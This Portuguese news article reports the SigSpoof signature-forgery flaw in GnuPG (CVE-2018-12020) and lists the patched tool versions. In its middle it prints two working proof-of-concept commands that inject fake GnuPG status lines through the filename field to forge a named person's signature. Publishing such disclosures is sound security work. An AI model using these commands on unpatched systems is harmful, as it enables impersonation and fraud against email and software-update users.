GnuPG: Falha permite que invasores imitem a assinatura dos usuários

Falha em GnuPG
Falha em GnuPG

Por toda a sua existência, algumas das ferramentas de criptografia de e-mail mais usadas no mundo, como por exemplo o GnuPg, têm sido vulneráveis a hacks que permitiram aos invasores falsificar a assinatura digital de praticamente qualquer pessoa com uma chave pública, disse um pesquisador na quarta-feira.

O GnuPG, o Enigmail, o GPGTools e o python-gnupg foram atualizados para corrigir a vulnerabilidade crítica.

O Enigmail e o Simple Password Store também receberam patches para dois erros de spoofing relacionados.

Como funciona o GnuPG

Assinaturas digitais são usadas para provar a origem de uma mensagem criptografada, backup de dados ou atualização de software.

Normalmente, a origem deve usar uma chave de criptografia privada para fazer com que um aplicativo mostre que uma mensagem ou arquivo está assinado.

Mas uma série de vulnerabilidades apelidadas de SigSpoof torna possível, em certos casos, que os invasores falsifiquem assinaturas com nada mais do que a chave pública ou a ID de chave de uma pessoa, ambas frequentemente publicadas on-line. Da mesma forma, Backups e atualizações de software também foram afetados.

A falha, indexada como CVE-2018-12020, significa que, no decorrer das décadas, mensagens de e-mail de que muitas pessoas confiavam para negócios confidenciais ou questões de segurança podem, de fato, ter sido falsificações.

Tal falha, também tem o potencial de afetar os usos que foram além do e-mail criptografado.

Disse Marcus Brinkmann, desenvolvedor de software que descobriu o SigSpoof, em comunicado:

“O GnuPG não é usado apenas para segurança de e-mail, mas também para proteger backups, atualizações de software em distribuições e código-fonte em sistemas de controle de versão como o Git.”

Sobre as Vulnerabilidades do GnuPG

O CVE-2018-12020 afeta o software vulnerável somente quando ele habilita uma configuração chamada verbose, que é usada para solucionar problemas de bugs ou comportamento inesperado.

Uma vez que verbose esteja habilitada, o post de Brinkmann inclui três ataques de spoofing de prova de conceito com o spoofing funciona escondendo metadados em um e-mail criptografado ou outra mensagem de forma que os aplicativos o tratem como se fosse o resultado de uma operação de verificação de assinatura.

Assim, os aplicativos como o Enigmail e o GPGTools fazem com que clientes de e-mail, como o Thunderbird ou o Apple Mail são enganados. Estes mostram falsamente que um e-mail foi criptograficamente assinado por alguém escolhido pelo invasor.

Tudo o que é necessário para falsificar uma assinatura é ter uma chave pública ou ID de chave.

Os ataques são relativamente fáceis de realizar. Veja abaixo o código para uma das explorações  Brinkmann, que forja a assinatura de Patrick Brunschwig, é:

$ echo 'Please send me one of those expensive washing machines.' \
| gpg --armor -r VICTIM_KEYID --encrypt --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig \
\n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\
\n[GNUPG:] TRUST_FULLY 0 classic\
\ngpg: '\'`" > poc1.msg

Uma segunda façanha é:

echo "See you at the secret spot tomorrow 10am." | gpg --armor --store --compress-level 0 --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig \
\n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\
\n[GNUPG:] TRUST_FULLY\
\n[GNUPG:] BEGIN_DECRYPTION\
\n[GNUPG:] DECRYPTION_OKAY\
\n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\
\ngpg: '\'`" > poc2.msg

 

A causa do bug remete ao GnuPG 0.2.2 de 1998

“E embora o impacto tenha sido diferente e tenha mudado ao longo do tempo à medida que mais aplicativos usem o GPG”.

Ele divulgou publicamente a vulnerabilidade apenas depois que os desenvolvedores das ferramentas conhecidas como vulneráveis foram corrigidos.

As falhas são corrigidas nos programas:

  • GnuPG versão 2.2.8;
  • Enigmail 2.0.7;
  • GPGTools 2018.3;
  • python GnuPG 0.4.3 .

As pessoas que querem saber o status de outros aplicativos que usam o OpenPGP devem verificar com os desenvolvedores.

Identificadores

Esta vulnerabilidade é rastreada sob os seguintes identificadores:

Atualizações de distribuição para o GnuPG: